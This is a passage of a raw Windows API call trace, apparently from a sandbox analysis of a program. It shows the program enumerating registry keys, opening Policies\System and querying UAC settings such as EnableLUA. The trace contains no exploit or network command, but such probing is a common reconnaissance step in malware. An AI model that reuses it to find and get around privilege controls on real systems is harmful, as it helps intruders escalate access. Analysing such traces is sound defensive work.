cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0xd3c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0193.639] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0xd3b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0193.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0xd3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0193.639] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0xd3b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0193.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0xd3c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0193.639] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0xd3b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0193.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0193.639] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0xd3b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0193.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0xd3c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0193.640] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0xd3b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0193.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0xd3c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0193.640] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0xd3b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0193.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0xd3c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0193.640] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0xd3b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0193.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0xd3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0193.640] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0xd3b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0193.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0xd3c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0193.640] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0xd3b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0193.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0193.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0xd3c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0193.640] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0xd3b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0193.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0xd3c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0193.641] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0xd3b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0193.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0193.641] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0xd3b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0193.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0xd3c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0193.641] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0xd3b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0193.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0xd3c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0193.641] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0xd3b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0193.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0xd3c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0193.641] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0xd3b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0193.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0193.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0xd3c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0193.641] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0xd3b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0193.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0xd3c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0193.642] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0xd3b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0193.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0xd3c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0193.642] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0xd3b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0193.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0193.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0xd3c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0193.642] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0xd3b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0193.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0193.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0xd3c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0193.642] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0xd3b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0193.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0193.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0xd3c0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0193.642] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0xd3b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0193.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0xd3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0193.642] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0xd3b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0193.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0xd3c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0193.642] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x37f75c | out: phkResult=0x37f75c*=0xa0) returned 0x0 [0193.642] RegCloseKey (hKey=0x24) returned 0x0 [0193.643] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0xd3b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0193.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0xd3c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0193.643] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0xd3b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0193.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0xd3c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0193.643] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0xd3b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0193.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0xd3c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0193.643] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0xd3b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0193.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0xd3c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0193.643] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0xd3b930, cchName=0x104 | out: lpName="System") returned 0x0 [0193.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0xd3c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0193.643] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x37f75c | out: phkResult=0x37f75c*=0x24) returned 0x0 [0193.643] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3b930) returned 1 [0193.643] RegCloseKey (hKey=0xa0) returned 0x0 [0193.644] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3b860) returned 1 [0193.644] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.644] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.644] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.644] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.644] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.644] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.644] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.644] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.644] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.644] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.645] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.645] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.645] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.645] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.645] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.645] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.645] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0193.645] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x37f774, lpData=0x0, lpcbData=0x37f77c*=0x0 | out: lpType=0x37f774*=0x4, lpData=0x0, lpcbData=0x37f77c*=0x4) returned 0x0 [0193.645] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x37f774, lpData=0xd3c438, lpcbData=0x37f77c*=0x4 | out: lpType=0x37f774*=0x4, lpData=0xd3c438*=0x1, lpcbData=0x37f77c*=0x4) returned 0x0 [0193.645] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c438) returned 1 [0193.645] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c5a0) returned 1 [0193.645] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.645] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x10) returned 0xd3b860 [0193.645] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3b878 [0193.645] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c5a0 [0193.645] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.645] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3b888 [0193.645] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c438 [0193.645] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.645] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3b898 [0193.645] RtlAllocateHeap 